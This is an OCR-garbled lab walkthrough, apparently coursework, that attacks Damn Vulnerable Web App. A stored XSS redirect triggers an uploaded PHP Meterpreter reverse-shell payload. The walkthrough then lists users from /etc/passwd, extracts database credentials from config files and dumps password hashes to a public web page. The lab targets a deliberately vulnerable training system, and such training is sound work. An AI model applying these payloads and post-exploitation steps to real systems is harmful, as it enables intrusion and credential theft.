=[ svn rl3462 updated 266 days ago (2011,88.61)

arning: This copy of the Metasploit Framework was last updated 266 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community. rapid7.com/docs/DOC-1306

>

"y

= 1 root@bt} ) Index of /dvwa/hackab

= SO OO

3. Start PHP Listener
o Notes (FYI):
= Replace 192.168.1.105 with the BackTrack IP Address obtair
o Instructions:
0. use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit
Continue to Next Section

AN
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+ - ---( 716 exploxts - 361 auxiliary - 68 post
4+ -- --=[ 226 payloads - 27 encoders - 8 nops
=[ svn r13462 updated 266 days ago (2011.68.01)

arning: This copy of the Metasploit Framework was last updated 266 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306

gs_t > use exploit/multi/handler <@mm
exploit(handler) > set PAYLOAD php/meterpreter/reverse tcp <@um
PAYLOAD => php/meterpreter/reverse tcp
exploit (handler) > set LHOST 192.168.1.105 <@mm
LHOST => 192.168.1.105
msf exploit(handler) > set LPORT 4444 <@mm
LPORT => 4444
exploit(handler) > exploit <@mm

*] Started reverse handler on 192.168.1.185:4444 PHP Listener Start. Continue to next
*] Starting the payload handler... step.

% Index of /dvwa/hackab...

- ey

Section 16: XSS Stored window.location Exploit Test

1. Reset Database
o Instructions:
1. Select "Setup" from the left menu navigation.
2. Click on the Create / Reset Database Button.
o Notes (FYI):
* We need to reset the database otherwise the each XSS explc



ystem @) Mon Apr 30, 10:11 AM &
*x Damn Vulnerable Web App (DVWA) v1.0.7 :: Setup - Mozilla Firefox

[® Damn Vulnerable web App (... 3% | 1S

< S) | http:/192.168.1.106/dvwa/setup.php v[c] [y cooq ]l
DYWA)
=/
Home . Database setup
Instructions |

Click on the 'Create / Reset Database’ button below to create or reset your database. If you ge
ﬁ_—{ .—] sure you have the correct user credentlals in /config/config.inc.php
Setup A

If the database already exists, It will be cleared and the data will be reset

Brute Force |

Command Execution ‘ Backend Database: MySQL

CSRF |

Flle Inclusion ! | Create / Reset Database | « &S
SOL Injection ]

SQL injection (Blind) Database has been created

Upload |

XSS | 'users' table was created

XSS stored ] Data inserted into ‘users’ table.

DVWA Security J ‘guestbook’ table was created

) Damn VWinerable Web ...

1 W g ) [ 5 5

2. XSS Stored Menu
o Instructions:

0. Select "XSS Stored" from the left navigation menu.



mE Thu Apr 26, 7:22AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Fire

B Damn Vinerable Web App (DV...

- S) |8 http//192.168.1.106/dvwaivulnerabilities/xss_s/ vel gy Q

e . Vulnerability: Stored Cross Site Scripting (XSS)
Instructions j )
."'P I Name
Brute Force ] Message *
Command Execution | A
CSRF ] Sign Guestbook
e Juohision) |
SQL Injection |
sa. hm mm I z‘:';‘:a;:sl‘rhns Is a test comment
Upload |
] More info
|

) Damn Vuinerable Web ...

o Vg O I

3. XSS Test 4
o Instructions:
0. Name: Test 4

1. Message:
" <Jscript>window.location="http://192.168.1.106/dvwa/hackable/upl
= Replace 192.168.1.106 with the IP Address obtain from Fed

2. Click Sign Guestbook
3. Click OK when the Test 1 Message is displayed
4, Continue To Next Section
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I8 Damn Vulnerable web App (... 3% || B

Mon Apr 30, 11:34 AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozill

< S) |8 http://192.168.1.106/dvwaNvuinerabilities/xss_s/

e] [y o

O\WA)

4, Viewing XSS Test 3 Results
o Instructions:

More info

P . Vulnerability: Stored Cross Site Scripting (XSS)
Instructions | =
Name * Test 4
Setup |
<gcapt>window. loc.'mo.n:'hl_t;; :‘,‘192 168.1, 106/dvwa/hackabtie

mm - ] Message * /uploads/FORUM_BUG.php" </script>
Command Execution |
CSRF ] Sign Guestbook
File Inclusion |
SQLinjection |
SOt jection Mwad) I :?:ri\gtss;hls is a test comment
Upload |

|

) Damn Vulnerable Web ...

o o Vg gy B e 5

0. Notice how the "Connecting..." appears to be in an infinit
1. This will continue for the duration of the PHP/MSF PAYLOAL

2. Continue To Next Section
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozill

o Connecting...

: S) |8 http:/192.168.1.106/dvwavulnerabilities/xss_s/ Q
Home . Vulnerability: Stored Cross Site Scripting (XSS)
Instructions |

1 Name *
Setup ]
Brute Force | Message *
Command Execution A
csrr | _ Sign Guestbook
Flle Inclusion | This "Connecting...” message will continue for the duration of the exploit.
SQL Injection |  Continue to next step.
| Name: tost
SQL Injection (Siind) : Message: This is a test comment
b ]
e " Name: Test 4
XSS reflected Message
DVWA Security T | Damn Vulnerable Web App (DVWA) v1.0.7 ::
Waiting for 192,168.1.106... Vuinerability: Stored Cross Site Scripting (XSS) - Moz

Sl Firefox

BT EEE m

Section 17: View Metasploit Session

1. View Metasploit Session
o Notes (FYI):
1. Notice that BackTrack now has a connection into the Fedore
2. Continue to Next Step.



Mon Apr 30, 12:05 AM 2

>
root@bt: ~

:[ 1 [ re 15 ¢ re $ Dl
+ -- --=[ 716 exploits - 361 auxiliary - 68 post
+ -- --=[ 226 payloads - 27 encoders - 8 nops
=[ svn r13462 updated 272 days ago (2011.68.61)

arning: This copy of the Metasploit Framework was last updated 272 days ago.
we recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1366

msf > use exploit/multi/handler
m exploit(handler) > set PAYLOAD php/meterpreter/reverse tcp
PAYLOAD => php/meterpreter/reverse tcp
n exploit(handler) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
exploit(handler) > set LPORT 4444
LPORT => 4444
exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.185:4444

[*] Starting the payload handler...

[*] Sending stage (38553 bytes) to 192.168.1.166

[*] Meterpreter session 1 opened k192.168.1.105:4444 > 192.168.1.106:58435£‘at 2012-64-29 23:54:02 -0500

meterpreter > "r
meterpreter > Now BackTrack has a connection into the Fedora 14 Webserver

=] root@bt: ~ " Damn Winerable Web

2. Establishing a Shell
o Instructions:

1. shell
* Establishes a "sh" shell.
2. tail /etc/passwd
» This produces a potential prospect list for a ssh brt



LR

\ AL ytic Places Syste .y ) Mon Apr 30, 12:12 AM ‘!>

- * root@bt: ~

msf exploit(handler) > set LHOST 192.168.1.165
LHOST => 192.168.1.105
exploit(handler) > set LPORT 4444
LPORT => 4444

exploit(handler) > exploit

| Started reverse handler on 192.168.1.1085:4444

*] Starting the payload handler...

*] Sending stage (38553 bytes) to 192.168.1.166

[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.106:58435) at 2012-04-29 23:54:02 -0500

>

vvy

peterp > shell <@
Process 6126 created.
Channel © created.

tail /etc/passwd ‘ Potential prospects for a
apache:x:48:48:Apache: /var/www:/sbin/nologin ssh brute force attack
nm-openconnect:x:496:493:NetworkManager user for OpenConnect:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
smolt:x:495:492:Smolt:/usr/share/smolt:/sbin/nologin
pulse:x:494:491:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gds: /sbin/nologin
student:x:560:500:Student: /home/student: /bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

1 root@bt: ~ =1 root@bt: ~ % Damn Winerable Web A

To retum 10 your computer. pesss Qir+ AR ERRL T e  vmware

3. Find Configuration Files

o

Instructions:
1. whoami
» Displays the name of the user.
2. grep apache /etc/passwd
» The goal of this command is obtaining the home direct
3. find /var/www/* -print | grep config
* Here I am wanting to find all the configuration files



Mon Apr 30, 12:35 AM &

* root@bt: ~

oami
apache

grep apache /etc/passwd < )
apache:x:48:48:Apache: /var/www: /sbin/nologin /var/www is the home directory for apache
f sismamensinniainc )

find /var/www/* -print | grep config <@mm
/var/wwaw/htal/dvwa/config

/var/waw/html/dvwa/config/config. inc.php~
/var/wew/html/dvwa/config/config. inc.php

= ) root@bt: ~ =] root@bt: ~ &) Damn Winerable Web a

To retum to your computer, press Cid+AR. - A 1 W pEEES]  ymware

4, Exploit the Configuration File
o Instructions:
1. grep "db_" /var/www/html/dvwa/config/config.inc.php
» This produces the database name, username, and passwc
mysgl database.

2. echo "use dvwa; show tables;" | mysql -uroot -pdvwaPASSWOEF
» This command produces a table list of the dvwa databse
3. echo "use dvwa; desc users;" | mysql -uroot -pdvwaPASSWORL
» This command describes the columns of the users table
4. echo "select user,password from dvwa.users;" | mysql -uroot -pdvwaPAS

» This command displays the user and password informati
dvwa.users table.
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-~ * root@bt: ~

grep "db " /var/www/html/dvwa/config/config.inc.php <@mm
try changing the 'db server' variable from localhost to 127.08.6.1. Fixes a problem due to sockets.

$ DVWWA[ 'db server' ] = 'localhost’;

$ DVWWA[ 'db database' ] = ‘dwwa’; @ Now you have the database name,

$ DVWWA[ 'db user' ] = ‘root'; @ username, and password to log into the

$ DWA[ 'db password' ] = 'dvwaPASSWORD';@ dvwa database

$ DVWA[ 'db port' ] = '5432';

echo “use dvwa; show tables;® | mysql -uroot -pdvwaPASSWORD <«@mm This command produces a table list of

Tables in dvwa the dvwa database

guestbook

users

echo “use dvwa; desc users;* | mysql -uroot -pdvwaPASSWORD <@mm This command describes the columns of
Field Type Null Key pefault Extra the users table in the dvwa database.
user id int(6) NO PRI 0

first name varchar(15) YES NULL

last_name varchar(15) YES NULL

user varchar(15) YES NULL

password varchar(32) YES NULL

avatar varchar(70) YES NULL

echo "select user,password from dvwa.users;" | mysql -uroot -pdvwaPASSWORD .

user password

admin 5f4dcc3b5a3a765d61d8327deb882¢ 99 This command displays the user and
gordonb e99a18¢428¢b38d51260853678922¢03 : : :

1337 843533d753e2¢3966d7e6d4fcc69216b password information for each user in the
pablo 8d167d09f5bbedocade3deSc71e9e9b7
smithy 5f4dcc3b5a3a765d61d8327deb882¢f99

dvwa.users table.

] root@bt: ~ =] root@bt: ~ % Damn Winerable Web .. a

To retum 1 your computer, press Qe AR EREL T WeEEs vmware

5. Exploit the Configuration File
o Instructions:

1. echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.ht
» Place the html <pre> tag in the xss.html file.
» The <pre> is used as a pre-formatter.

2. echo "select user,password from dvwa.users;" | mysql -uroc

/var/www/html/dvwa/hackable/uploads/xss.html

» Place user and password for the dvwa.users table in t

3. echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.t
* Place the close html </pre> tag in the xss.html file.

4. echo "<br>Your Name<br>" >> /var/www/html/dvwa/hackable/ur
» Replace the string "Your Name" with your actual name.

5. date >> /var/www/html/dvwa/hackable/uploads/xss.html
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* root@bt: ~

“<pre>® >> /fvar/www/html/dvwa/hackable/uploads/xss.htal
echo “"select user,password from dvwa.users;" | mysql -uroot -pdvwaPASSWORD >> /var/www/html/dvwa/hackable/uploads/xss.htn
lecho “</pre>* >> /var/wwi/html/dvwa/hackable/uploads/xss.htal

echo "<br>Your Name<br>* >> /var/www/html/dvwa/hackable/uploads/xss.htal

date >> /var/wwi/htal/dvwa/hackable/uploads/xss.html

1 root@bt: ~

Section 18: Proof of Lab

1. Proof of Lab
o Instructions:

1. On BackTrack, place the below URI in Firefox
* http://192.168.1.106/dvwa/hackable/uploads/xss.html
» Replace the above IP address with the IP Address
3) .
o Proof of Lab Instructions:
Press the <Ctrl> and <Alt> keys at the same time.
Press the <PrtScn> key
Paste into a word document
Upload to Moodle

PobbE
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http://192.168...loads/xss.htmi 3% E3

S} http://192.168.1.106/dvwa/mhackable/uploads/xss.htm| < vel 2 gy Ql

user password

admin  Sfddcc3bSaa765d61d8327deb882c 199
gordonb e99al8c428¢b38d5f260853678922¢03
1337 843533d75ae2¢ 3966d7e0d4f 692160
pablo 0d4107d09fSbbedOcade3deSc71e9esh7
seithy Sfadcc3bSaa765d61d8327deb8s2¢ 199

Your Name
Mon Apr 30 01:14:14 CDT 2012

W [5] root@bt: ~ =) root@bt: ~ &) Mozilla Firefox

RS T TS




